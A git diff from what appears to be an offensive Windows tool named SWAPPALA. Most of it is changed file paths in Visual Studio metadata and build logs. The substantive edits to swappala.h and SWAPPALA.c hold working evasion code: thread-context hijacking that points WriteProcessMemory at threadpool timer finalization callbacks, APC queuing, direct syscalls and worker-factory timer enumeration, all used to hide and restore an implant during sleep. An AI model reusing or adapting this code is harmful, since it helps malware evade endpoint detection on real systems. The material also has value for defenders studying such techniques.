"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"RelativeDocumentMoniker": "handlesenum.h",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h",
"RelativeToolTip": "handlesenum.h",
"ViewState": "AgIAAMkAAAAAAAAAAAAAAAgAAAAYAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
@@ -151,9 +151,9 @@
"$type": "Document",
"DocumentIndex": 5,
"Title": "syscalls.asm",
"DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"RelativeDocumentMoniker": "syscalls.asm",
"ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm",
"RelativeToolTip": "syscalls.asm",
"ViewState": "AQIAAD4AAAAAAAAAAAAWwEUAAAAAAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001001|",
SWAPPALA/.vs/SWAPPALA/v17/ipch/AutoPCH/37c31f3d7b2f6fab/SWAPPALA.ipch
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA.c
+2
View File
@@ -116,6 +116,8 @@ int main()
HANDLE MALHANDLE = NULL;
BYTE SWAPPALA[] = { 0x53, 0x57, 0x41, 0x50, 0x50, 0x41, 0x4C, 0x41, 0x00 };
//print the PID of the process
printf("[+] SWAPPALA Process ID: %d\n", GetCurrentProcessId());
//retrieve the needed syscalls
RetrieveZwFunctions(GetModuleHandleA("ntdll.dll"), zwFunctions);
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.Build.CppClean.log
+17 -17
View File
@@ -1,17 +1,17 @@
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\vc143.pdb
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\vc143.idb
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.obj
c:\users\anonymous\code\github\swappala\swappala\x64\debug\swappala.exe
c:\users\anonymous\code\github\swappala\swappala\x64\debug\swappala.pdb
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\syscalls.obj
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.ilk
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.command.1.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.items.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.read.1.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.write.1.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.command.1.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.read.1.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.secondary.1.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.write.1.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.read.1u.tlog
c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.write.1u.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\vc143.pdb
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\vc143.idb
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.obj
c:\users\vsant\github\swappala\swappala\x64\debug\swappala.exe
c:\users\vsant\github\swappala\swappala\x64\debug\swappala.pdb
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\syscalls.obj
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.ilk
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.command.1.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.items.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.read.1.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.write.1.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.command.1.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.read.1.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.secondary.1.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.write.1.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.read.1u.tlog
c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.write.1u.tlog
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.exe.recipe
+1 -1
View File
@@ -2,7 +2,7 @@
<Project>
<ProjectOutputs>
<ProjectOutput>
<FullPath>C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe</FullPath>
<FullPath>C:\Users\vsant\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe</FullPath>
</ProjectOutput>
</ProjectOutputs>
<ContentFiles />
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.ilk
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.log
+34 -34
View File
@@ -1,96 +1,96 @@
Assembling syscalls.asm...
SWAPPALA.c
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\misc.h(19,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\misc.h(19,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\misc.h(24,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\misc.h(24,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,85): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,85): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,85): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,85): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,91): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,91): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,91): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,91): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,127): warning C4047: 'function': 'ULONG' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,127): warning C4047: 'function': 'ULONG' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,127): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 9
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,127): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 9
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(10,35): warning C4244: 'initializing': conversion from 'SIZE_T' to 'DWORD', possible loss of data
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(11,35): warning C4244: 'initializing': conversion from 'SIZE_T' to 'DWORD', possible loss of data
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(40,59): warning C4244: 'function': conversion from 'SIZE_T' to 'ULONG', possible loss of data
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(40,59): warning C4244: 'function': conversion from 'SIZE_T' to 'ULONG', possible loss of data
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *'
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5
(compiling source file 'SWAPPALA.c')
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(181,27): warning C4133: '=': incompatible types - from 'HMODULE' to 'PBYTE'
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(115,12): warning C4047: 'initializing': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(223,1): warning C4715: 'FindSectionHandle': not all control paths return a value
SWAPPALA.vcxproj -> C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(183,27): warning C4133: '=': incompatible types - from 'HMODULE' to 'PBYTE'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(115,12): warning C4047: 'initializing': 'SIZE_T' differs in levels of indirection from 'void *'
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(223,1): warning C4715: 'FindSectionHandle': not all control paths return a value
SWAPPALA.vcxproj -> C:\Users\vsant\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.command.1.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.read.1.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.write.1.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Cl.items.tlog
+1 -1
View File
@@ -1 +1 @@
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA.c;C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.obj
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA.c;C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.obj
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.read.1u.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.write.1u.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/SWAPPALA.lastbuildstate
+2 -2
View File
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.42.34433:TargetPlatformVersion=10.0.22621.0:
Debug|x64|C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\|
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.42.34433:TargetPlatformVersion=10.0.22000.0:
Debug|x64|C:\Users\vsant\Github\SWAPPALA\SWAPPALA\|
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.command.1.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.read.1.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.secondary.1.tlog
+2 -2
View File
@@ -1,2 +1,2 @@
^C:\USERS\ANONYMOUS\CODE\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SWAPPALA.OBJ|C:\USERS\ANONYMOUS\CODE\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SYSCALLS.OBJ
C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.ilk
^C:\USERS\VSANT\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SWAPPALA.OBJ|C:\USERS\VSANT\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SYSCALLS.OBJ
C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.ilk
SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.write.1.tlog
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/vc143.idb
BIN
View File
Binary file not shown.
SWAPPALA/SWAPPALA/x64/Debug/vc143.pdb
BIN
View File
Binary file not shown.
SWAPPALA/swappala.h
+50 -67
View File
@@ -2,6 +2,7 @@
#include "syscalls.h"
#include "globals.h"
#include <inttypes.h>
HANDLE SwapDll(SIZE_T MODULESIZE, PVOID SACDLLBASE) {
@@ -42,7 +43,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
/* --------- HIDING --------- */
HANDLE hThreads[6] = { 0 };
HANDLE hThreads[3] = { 0 };
//starting the APC trigger thread
@@ -76,7 +77,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
// Create seven threads in suspended state
for (int i = 1; i < 6; ++i)
for (int i = 1; i < 3; ++i)
{
//does not really matter here the function the threads are going to execute
if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreads[i], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL)))
@@ -86,7 +87,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
}
// Modify the context of all the threads
for (int i = 1; i < 6; ++i)
for (int i = 1; i < 3; ++i)
{
// Initialize the context structure
CtxHide[i].ContextFlags = CONTEXT_ALL;
@@ -113,31 +114,12 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
CtxHide[2].R8 = (DWORD64)SafeCallback;
CtxHide[2].R9 = (DWORD64)sizeof(PVOID);
*(ULONG_PTR*)((CtxHide[3]).Rsp) = (DWORD64)ExitThread;
CtxHide[3].Rip = (DWORD64)WriteProcessMemory;
CtxHide[3].Rcx = (DWORD64)(HANDLE)-1;
CtxHide[3].Rdx = (DWORD64) & (callbackinfo[2]->FinalizationCallback);
CtxHide[3].R8 = (DWORD64)SafeCallback;
CtxHide[3].R9 = (DWORD64)sizeof(PVOID);
*(ULONG_PTR*)((CtxHide[4]).Rsp) = (DWORD64)ExitThread;
CtxHide[4].Rip = (DWORD64)WriteProcessMemory;
CtxHide[4].Rcx = (DWORD64)(HANDLE)-1;
CtxHide[4].Rdx = (DWORD64) & (callbackinfo[3]->FinalizationCallback);
CtxHide[4].R8 = (DWORD64)SafeCallback;
CtxHide[4].R9 = (DWORD64)sizeof(PVOID);
*(ULONG_PTR*)((CtxHide[5]).Rsp) = (DWORD64)ExitThread;
CtxHide[5].Rip = (DWORD64)WriteProcessMemory;
CtxHide[5].Rcx = (DWORD64)(HANDLE)-1;
CtxHide[5].Rdx = (DWORD64) & (callbackinfo[4]->FinalizationCallback);
CtxHide[5].R8 = (DWORD64)SafeCallback;
CtxHide[5].R9 = (DWORD64)sizeof(PVOID);
// Set the new context to all the threads
for (int i = 1; i < 6; ++i)
for (int i = 1; i < 3; ++i)
{
// Initialize the context structure
if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreads[i], &CtxHide[i])))
@@ -148,7 +130,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
}
//queue the APC threads to the worker thread
for (int i = 0; i < 5; i++) {
for (int i = 0; i < 2; i++) {
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreads[0], (PPS_APC_ROUTINE)ResumeThread, hThreads[i + 1], FALSE, NULL))) {
return -1;
}
@@ -160,7 +142,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
/* --------- FIXING --------- */
HANDLE hThreadsFix[6] = { 0 };
HANDLE hThreadsFix[3] = { 0 };
//starting the APC trigger thread
if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreadsFix[0], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL)))
@@ -192,7 +174,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
}
// Create seven threads in suspended state
for (int i = 1; i < 6; ++i)
for (int i = 1; i < 3; ++i)
{
//does not really matter here the function the threads are going to execute
if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreadsFix[i], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL)))
@@ -202,7 +184,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
}
// Modify the context of all the threads
for (int i = 1; i < 6; ++i)
for (int i = 1; i < 3; ++i)
{
// Initialize the context structure
CtxFix[i].ContextFlags = CONTEXT_ALL;
@@ -227,31 +209,10 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
CtxFix[2].R8 = (DWORD64)ResumeThreadValue;
CtxFix[2].R9 = (DWORD64)sizeof(PVOID);
*(ULONG_PTR*)((CtxFix[3]).Rsp) = (DWORD64)ExitThread;
CtxFix[3].Rip = (DWORD64)WriteProcessMemory;
CtxFix[3].Rcx = (DWORD64)(HANDLE)-1;
CtxFix[3].Rdx = (DWORD64) & (callbackinfo[2]->FinalizationCallback);
CtxFix[3].R8 = (DWORD64)ResumeThreadValue;
CtxFix[3].R9 = (DWORD64)sizeof(PVOID);
*(ULONG_PTR*)((CtxFix[4]).Rsp) = (DWORD64)ExitThread;
CtxFix[4].Rip = (DWORD64)WriteProcessMemory;
CtxFix[4].Rcx = (DWORD64)(HANDLE)-1;
CtxFix[4].Rdx = (DWORD64) & (callbackinfo[3]->FinalizationCallback);
CtxFix[4].R8 = (DWORD64)ResumeThreadValue;
CtxFix[4].R9 = (DWORD64)sizeof(PVOID);
*(ULONG_PTR*)((CtxFix[5]).Rsp) = (DWORD64)ExitThread;
CtxFix[5].Rip = (DWORD64)WriteProcessMemory;
CtxFix[5].Rcx = (DWORD64)(HANDLE)-1;
CtxFix[5].Rdx = (DWORD64) & (callbackinfo[4]->FinalizationCallback);
CtxFix[5].R8 = (DWORD64)ResumeThreadValue;
CtxFix[5].R9 = (DWORD64)sizeof(PVOID);
// Set the new context to all the threads
for (int i = 1; i < 6; ++i)
for (int i = 1; i < 3; ++i)
{
// Initialize the context structure
if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreadsFix[i], &CtxFix[i])))
@@ -262,7 +223,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
}
//queue the APC threads to the worker thread
for (int i = 0; i < 5; i++) {
for (int i = 0; i < 2; i++) {
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreadsFix[0], (PPS_APC_ROUTINE)ResumeThread, hThreadsFix[i + 1], FALSE, NULL))) {
return -1;
}
@@ -274,9 +235,9 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA
}
//for loop that adds both Thread and ThreadFix to the array of apcThreads
for (int i = 0; i < 6; i++) {
for (int i = 0; i < 3; i++) {
apcThreads[i] = hThreads[i];
apcThreads[i + 6] = hThreadsFix[i];
apcThreads[i + 3] = hThreadsFix[i];
}
return 0;
@@ -295,7 +256,10 @@ int GetInfoFromWorkerFactory(HANDLE hWorkerFactory, PVOID ResumeThreadAddress, i
SIZE_T len = 0;
TPP_CLEANUP_GROUP_MEMBER ctx = { 0 };
HMODULE hNtdll = { 0 };
INT64 highest = 0;
INT64 second_highest = 0;
int index_highest = 0;
int index_second_highest = 0;
if (!(hNtdll = GetModuleHandleA("ntdll"))) {
return -1;
@@ -327,20 +291,36 @@ int GetInfoFromWorkerFactory(HANDLE hWorkerFactory, PVOID ResumeThreadAddress, i
PLIST_ENTRY pHead = tp_timer.WindowStartLinks.Children.Flink;
PLIST_ENTRY pFwd = tp_timer.WindowStartLinks.Children.Flink;
LIST_ENTRY entry = { 0 };
do {
if (ReadProcessMemory(GetCurrentProcess(), tp_timer.Work.CleanupGroupMember.Context, &ctx, sizeof(TPP_CLEANUP_GROUP_MEMBER), &len) == FALSE) {
break;
}
//print all the tp_timer members
if ((ctx).FinalizationCallback == ResumeThreadAddress) {
printf("[!] DueTimer %" PRIu64 " with address %p\n", tp_timer.DueTime, tp_timer.Work.CleanupGroupMember.Context);
if (tp_timer.DueTime > highest) {
second_highest = highest;
highest = tp_timer.DueTime;
callbackArray[0] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object
callbackArray[*arraySize] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object
}
else if (tp_timer.DueTime > second_highest && tp_timer.DueTime <= highest) {
second_highest = tp_timer.DueTime;
callbackArray[1] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object
}
(*arraySize)++;
}
p_tp_timer = CONTAINING_RECORD(pFwd, FULL_TP_TIMER, WindowStartLinks);
@@ -354,6 +334,9 @@ int GetInfoFromWorkerFactory(HANDLE hWorkerFactory, PVOID ResumeThreadAddress, i
} while (pHead != pFwd);
}
//print highest and second highest due time
printf("[!] Highest DueTime %" PRIu64 " with address: %p\n", highest, callbackArray[0]);
printf("[!] Second Highest DueTime %" PRIu64 " with address %p\n", second_highest, callbackArray[1]);
